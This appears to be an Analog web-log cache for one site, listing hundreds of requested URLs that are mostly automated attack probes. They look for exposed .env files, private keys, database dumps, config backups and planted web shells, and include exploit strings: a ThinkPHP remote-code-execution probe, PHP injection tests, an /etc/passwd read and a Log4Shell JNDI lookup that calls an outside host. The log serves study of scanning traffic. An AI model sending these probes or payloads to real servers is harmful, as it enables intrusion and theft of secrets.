CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	0	0	781	2084	0
D	28927457	28927459
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.local
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.7.4/
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/localhost.sql
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/common/config/main-local.php.tmp
1	0	0	0	1	0	0	28091595	0	0	28091595	0	/sendgrid.env
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.prod.local
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ssl/localhost.key
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.tar.gz
1	0	0	0	1	0	0	28079126	0	0	28079126	0	/wp-config.php.backup
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/config.php.backup
1	0	0	0	1	0	0	28096468	0	0	28096468	0	/sftp-config.json
1	0	0	0	1	0	0	28094753	0	0	28094753	0	/api/index.php/v1/config/application%3Fpublic=true
1	0	0	0	4	0	0	28219790	0	0	28120958	0	/wp-content/plugins/instabuilder2/cache/up.php
1	0	0	0	3	0	0	28219790	0	0	28170452	0	/wp-includes/wp-class.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/tinymce/plugins/imgsurfer/main.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/installation/configuration.php.tmp
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.1/
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/bbscache/config.php.backup
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.7.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.development.local
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.backup
1	0	0	0	3	0	0	28219790	0	0	28170456	0	/wp-includes/wso112233.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/login.php.bak
1	0	0	0	59	0	0	28299386	0	0	27232519	0	/.env
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.db
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/static../.git/index
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/textpattern/config.php.backup
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.old
1	0	0	0	19	0	0	27305933	0	0	27217891	0	/restapi.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/private.pem
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.6.2.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_global.php.dist
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/typo3conf/localconf.php.txt
1	0	0	0	2	0	0	28170473	0	0	28170456	0	/wp-content/xl2023.php
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.7.0-mysql.php
1	0	0	0	2	0	0	28170473	0	0	28170457	0	/wp-content/plugins/sid/sidwso.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_global.php.txt
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_ucenter.php.tmp
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.2.php
1	0	0	0	2	0	0	27518110	0	0	27485229	0	/.env?107.189.10.237
1	0	0	0	1	0	0	27544892	0	0	27544892	0	/.env?198.235.24.138
1	0	0	0	1	0	0	28237250	0	0	28237250	0	/UEPs
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.1
1	0	0	0	3	0	0	28219790	0	0	28170451	0	/shell20211028.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/admin/assets/jquery-file-upload/server/php/index.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/assets/tinymce/plugins/imgsurfer/main.php
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/ws.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/include/config.inc.php.old
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/textpattern/config.php.txt
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/lib../.git/index
1	0	0	0	2	0	0	28091577	0	0	27903032	0	/adm.php
1	0	0	0	3	0	0	28219790	0	0	28170453	0	/data.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/bbscache/config.php.txt
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/site/default/settings.php.backup
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/dbdump.sql
1	0	0	0	4	0	0	28170474	0	0	28170457	0	/locales.php
1	0	0	0	3	0	0	28219790	0	0	28170452	0	/shell.php
1	0	0	0	1	0	0	28079126	0	0	28079126	0	/wp-config.php.txt
1	0	0	0	1	0	0	27886613	0	0	27886613	0	/Dockerrun.aws.json
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/mysql.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_ucenter.php.save
1	0	0	0	2	0	0	28170472	0	0	28170455	0	/wp-content/themes/sketch/404.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/js/jquery.upload/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/site/default/settings.php.bak
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/js../.git/index
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/sql.php
1	0	0	0	2	0	0	28170471	0	0	28170455	0	/.well-known/acme-challenge/atomlib.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/css../.git/index
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/www.key
1	0	0	0	2	0	0	28170473	0	0	28170456	0	/wp-includes/xl2023.php
1	0	0	0	3	0	0	28219790	0	0	28170458	0	/lock360.php
1	0	0	0	3	0	0	28219790	0	0	28170458	0	/mini.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/admin/plugins/jquery-file-upload/server/php/index.php
1	0	0	0	2	0	0	28174689	0	0	28174686	0	/xl2023x.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config.php.1
1	0	0	0	8	0	0	28054836	0	0	27719239	0	/api/search?folderIds=0
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/server/php/index.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/jquery/server/php/index.php
1	0	0	0	3	0	0	28219790	0	0	28174685	0	/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/private-key
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/public/assets/jquery-file-upload/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/conn.php.save
1	0	0	0	2	0	0	28174688	0	0	28174685	0	/bala.php
1	0	0	0	2	0	0	28091566	0	0	28060017	0	/index.php?function=call_user_func_array&s=/Index/%09hink%07pp/invokefunction&vars[0]=md5&vars[1][]=HelloThinkPHP21
1	0	0	0	2	0	0	28170470	0	0	28170454	0	/gank.php.PhP
1	0	0	0	1	0	0	28096467	0	0	28096467	0	/backup/.env
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/app.js
1	0	0	0	1	0	0	28094753	0	0	28094753	0	/api/v1/config/application%3Fpublic=true
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/typo3conf/localconf.php.tmp
1	0	0	0	3	0	0	28219790	0	0	28170458	0	/1.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.save
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/laravel/core/.env
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-content/plugins/background-image-cropper/ups.php
1	0	0	0	2	0	0	28170472	0	0	28170456	0	/wp-content/plugins/core-stab/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/config.php.txt
1	0	0	0	1	0	0	28096466	0	0	28096466	0	/core/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_global.php.tmp
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_ucenter.php.dist
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.1-mysql.php
1	0	0	0	2	0	0	28170472	0	0	28170455	0	/edit-form.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/host.key
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/backup.rar
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/jwt/private.pem
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/assets/plugins/forms_file_upload/server/php/index.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/vendor/bower-asset/blueimp-file-upload/server/php/index.php
1	0	0	0	10	0	0	28187104	0	0	27723129	0	/static/admin/javascript/hetong.js
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.rar
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/wp/wp-admin/install.php?step=2
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/config/config.php.bak
1	0	0	0	2	0	0	28170474	0	0	28170457	0	/upload.php?mr=exe3
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.save
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/textpattern/config.php.tmp
1	0	0	2	0	0	28091587	0	0	28060129	0	0	/?'{${print(9347655345-4954366)}}'
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.sql
1	0	0	0	1	0	0	27274794	0	0	27274794	0	/_ignition/execute-solution?3.70.131.45
1	0	0	0	1	0	0	28096468	0	0	28096468	0	/_profiler/phpinfo
1	0	0	0	2	0	0	28170471	0	0	28170454	0	/wp-admin/wso.php
1	0	0	0	12	0	0	28186403	0	0	27633801	0	/server-status
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/blueimp/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_global.php.1
1	0	0	0	1	0	0	28079126	0	0	28079126	0	/wp-config.php.tmp
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/conn.php.dist
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.production.local
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-admin/css/colors/blue/
1	0	0	0	2	0	0	27670288	0	0	27238175	0	/storage/.env
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/include/config.inc.php.bak
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adm/adminer.php
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/data/adminer.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.dist
1	0	0	0	12	0	0	28186403	0	0	27633801	0	/.DS_Store
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.7z
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/.envrc
1	0	0	0	2	0	0	28170470	0	0	28170453	0	/wp-includes/embed-wp.php
1	0	0	0	12	0	0	28186403	0	0	27633801	0	/telescope/requests
1	0	0	0	2	0	0	28170469	0	0	28170452	0	/404.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/textpattern/config.php.save
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/prod/common/config/main-local.php.save
1	0	0	0	2	0	0	28170471	0	0	28170455	0	/mt/pekok.php
1	0	0	0	3	0	0	28170469	0	0	27733607	0	/1index.php
1	0	0	0	2	0	0	28170474	0	0	28170457	0	/wp-content/xxx/xxx-xxx/xxxx-xx-xx/pages/xxxxxx.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/404.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/conn.php.backup
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.dist
1	0	0	0	3	0	0	28219790	0	0	28170453	0	/x.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/.env~
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/config/config.php.1
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/site.sql
1	0	0	0	1	0	0	28215241	0	0	28215241	0	/xmlrpc.php?87.236.176.51
1	0	0	0	3	0	0	28219790	0	0	28170452	0	/wp-content/plugins/ccx/index.php
1	0	0	0	10	0	0	28186403	0	0	27719238	0	/debug/default/view?panel=config
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.4.php
1	0	0	0	1	0	0	28096467	0	0	28096467	0	/phpinfo.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/phpsso_server/caches/configs/system.php.1
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/.envs
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/forms_file_upload/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.1
1	0	0	3	0	0	27204479	0	0	27198720	0	0	/?118.99.106.128
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-content/plugins/linkpreview/db.php?u
1	0	0	0	3	0	0	28219790	0	0	28170453	0	/wp-blog.php
1	0	0	0	1	0	0	28096466	0	0	28096466	0	/laravel/.env
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/db_config.php.bak
1	0	0	0	2	0	0	28170469	0	0	28170453	0	/4index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/prod/common/config/main-local.php.old
1	0	0	0	4	0	0	28219790	0	0	28120958	0	/wp-content/themes/pridmag/db.php?u
1	0	0	0	2	0	0	28170474	0	0	28170458	0	/wp-22.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/web_files/cms/assets/plugins/file-upload-multi/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/prod/common/config/main-local.php.backup
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.bz2
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-mysql.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/wp-config.php.1
1	0	0	0	2	0	0	27306120	0	0	27248986	0	/restapi.php?3.70.131.45
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer1.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/prod/common/config/main-local.php.dist
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/config/jwt/private.pem
1	0	0	0	2	0	0	28211823	0	0	28211821	0	/wp-admin/admin-ajax.php
1	0	0	0	2	0	0	28170470	0	0	28170453	0	/old-index.php
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/_adminer.php
1	0	0	4	0	0	27192873	0	0	27185823	0	0	/?180.252.90.213
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/backup.tar.gz
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/default.php.bak
1	0	0	0	2	0	0	28170473	0	0	28170457	0	/wsoyanzorng.php
1	0	0	0	2	0	0	28170473	0	0	28170457	0	/wp-content/themes/mero-magazine/ws.php
1	0	0	0	2	0	0	28170474	0	0	28170458	0	/wp.php
1	0	0	0	3	0	0	28219790	0	0	28170452	0	/wp-content/index.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/mysqldump.sql
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/common.inc.php.old
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/fileupload/server/php/index.php
1	0	0	0	8	0	0	28186403	0	0	27886613	0	/.vscode/sftp.json
1	0	0	0	1	0	0	28091595	0	0	28091595	0	/.env.
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.8.0/
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/dev/common/config/main-local.php.txt
1	0	0	0	5	0	0	28219790	0	0	28170456	0	/xl2023.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/db.sql
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-content/plugins/wordpresss3cll/up.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/demo/wp-admin/setup-config.php?step=1
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/phpsso_server/caches/configs/system.php.txt
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/wp-content/uploads/dump.sql
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/common/config/main-local.php.1
1	0	0	0	3	0	0	28219790	0	0	28170455	0	/wp-admin/alfa.php
1	0	0	0	3	0	0	28219790	0	0	28170451	0	/wp-admin/shell20211028.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/caches/configs/system.php.old
1	0	0	0	2	0	0	28217513	0	0	28193604	0	/xmlrpc.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/dev/common/config/main-local.php.save
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/bbscache/config.php.dist
1	0	0	0	1	0	0	28079126	0	0	28079126	0	/wp-config.php.save
1	0	0	0	4	0	0	28219790	0	0	28120958	0	/wp-content/plugins/seoplugins/mar.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/database.sql
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/common.inc.php.1
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/assets/plugins/jquery.filer/js/custom.js
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/wp-admin/install.php?step=2
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env_sample
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config.php.txt
1	0	0	0	6	0	0	28152423	0	0	28135016	0	/wp-content/themes/applica/400.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/assets/jquery-file-upload/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/config/config.php.dist
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.old
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/assets../.git/index
1	0	0	0	2	0	0	28096467	0	0	27969549	0	/admin/.env
1	0	0	0	3	0	0	28091596	0	0	27244943	0	/.env.backup
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/id_rsa
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/log.php
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.3-mysql.php
1	0	0	6	6	0	28186403	28186403	0	27633801	27633801	0	/?rest_route=/wp/v2/users/
1	0	0	0	2	0	0	28186403	0	0	28186403	0	/_all_dbs
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.backup
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/prod/common/config/main-local.php.bak
1	0	0	0	1	0	0	28091596	0	0	28091596	0	/config.env
1	0	0	2	0	0	28091587	0	0	28060129	0	0	/?'<?=print(9347655345-4954366)?>'
1	0	0	0	2	0	0	28170472	0	0	28170455	0	/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/.environment
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/manager/adminer.php
1	0	0	0	42	0	0	28927459	0	0	27283989	0	/favicon.ico
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/conn.php.tmp
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.6.2-en.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/header.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/class/config.php.old
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.old
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.backup
1	0	0	0	4	0	0	28096467	0	0	27244943	0	/api/.env
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/dev/common/config/main-local.php.dist
1	0	0	0	2	0	0	28096466	0	0	27969549	0	/backend/.env
1	0	0	0	2	0	0	28170472	0	0	28170456	0	/wp-content/406.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.rar
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/class/config.php.save
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/wp-config.php.dist
1	0	0	0	3	0	0	28219790	0	0	28170452	0	/406.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.7z
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/var/jwt/private.pem
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/common/config/main-local.php.old
1	0	0	0	2	0	0	28091540	0	0	28059912	0	/?a=fetch&content=<php>die(md5(cvbytigdfgfdg))</php>
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/images../.git/index
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/jQuery/server/php/index.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.save
1	0	0	0	1	0	0	27237314	0	0	27237314	0	/robots.txt?3.70.131.45
1	0	0	0	2	0	0	28091577	0	0	27903032	0	/adminer/
1	0	0	0	1	0	0	27886615	0	0	27886615	0	/wp-content/.git/config
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/dev/common/config/main-local.php.tmp
1	0	0	0	2	0	0	28170470	0	0	28170454	0	/wp-content/fw.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/include/config.inc.php.1
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.ssh/id_rsa
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/common.inc.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/zb_users/c_option.php.old
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.6.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/phpsso_server/caches/configs/system.php.save
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env_1
1	0	0	0	1	0	0	27886613	0	0	27886613	0	/.svn/entries
1	0	0	0	1	0	0	27886613	0	0	27886613	0	/.hg/requires
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/installation/configuration.php.old
1	0	0	0	1	0	0	28091595	0	0	28091595	0	/.env.dev
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/include/config.inc.php.backup
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/admin/adminer.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/includes/assets/vendor/jquery.filer/examples/default/
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/wp/wp-admin/setup-config.php?step=1
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.6.1.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/caches/configs/system.php.bak
1	0	0	0	8	0	0	28186403	0	0	27886613	0	/s/4323e27363e2333323e2439313/_/
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/backup.zip
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/class/config.php.dist
1	0	0	0	1	0	0	28096468	0	0	28096468	0	/app/config/secrets.yml
1	0	0	0	9	0	0	28219790	0	0	28170457	0	/wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.1.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/admin/server/php/index.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.zip
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/typo3conf/localconf.php.1
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.7.5-en.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.dist
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/site/default/settings.php.txt
1	0	0	0	3	0	0	28065682	0	0	27252549	0	/wp-login.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/etc/passwd%0A
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/config/config_ucenter.php.old
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-admin/css/colors/coffee/index.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/id_dsa
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/data/config.php.1
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.7.4-mysql.php
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/assets/vendor/jquery.filer/examples/default/
1	0	0	0	2	0	0	28170470	0	0	28170454	0	/wp-admin/fw.php
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.6.2-mysql.php
1	0	0	0	1	0	0	27903033	0	0	27903033	0	/adminer-4.8.0-mysql-en.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/app/etc/env.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/phpsso_server/caches/configs/system.php.dist
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/temp.sql
1	0	0	0	1	0	0	28219790	0	0	28219790	0	/wp-content/plugins/TOPXOH/wDR.php
1	0	0	0	1	0	0	27903032	0	0	27903032	0	/adminer-4.8.0-en.php
1	0	0	0	3	0	0	28221265	0	0	28186376	0	/.git/config?87.236.176.51
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.bz2
1	0	0	0	3	0	0	27969549	0	0	27324245	0	/_ignition/execute-solution
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.save
1	0	0	0	1	0	0	27969549	0	0	27969549	0	/asset/js/library/filer/examples/default/
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/ggclinknetworks.com.sqlite
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/Application/Common/Conf/config.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/common/config/main-local.php.save
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.env.old
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/environments/dev/common/config/main-local.php.1
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/settings.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/system/config/default.php.txt
1	0	0	0	1	0	0	27331905	0	0	27331905	0	/?id=${jndi:ldap://divd-9138486bb611f2de2b8c822b2d57cbd3_${date:YYYYMMddHHmmss}_https_id.log4jdns.x00.it/}&page=${jndi:ldap://divd-9138486bb611f2de2b8c822b2d57cbd3_${date:YYYYMMddHHmmss}_https_page.log4jdns.x00.it/}&search=${jndi:ldap://divd-9138486bb611f2de2b8c822b2d57cbd3_${date:YYYYMMddHHmmss}_https_search.log4jdns.x00.it/}
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/common/config/main-local.php.bak
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/media../.git/index
1	0	0	0	3	0	0	28219790	0	0	28170454	0	/wso112233.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/iptv.ggclinknetworks.com.pem
1	0	0	0	8	0	0	28096466	0	0	27969549	0	/core/.env
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/.ssh/id_dsa
1	0	0	0	2	0	0	28091577	0	0	27903032	0	/adminer/adminer.php
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/e/config/config.php.txt
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/index.php.bak
1	0	0	0	11	0	0	28186403	0	0	27633801	0	/config.json
1	0	0	0	10	0	0	28186403	0	0	27719239	0	/about
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/conn.php.1
1	0	0	0	11	0	0	28096467	0	0	27633801	0	/info.php
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/img../.git/index
1	0	0	0	2	0	0	27245819	0	0	27244943	0	/footer.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/zb_users/c_option.php.bak
1	0	0	0	1	0	0	28079127	0	0	28079127	0	/installation/configuration.php.bak
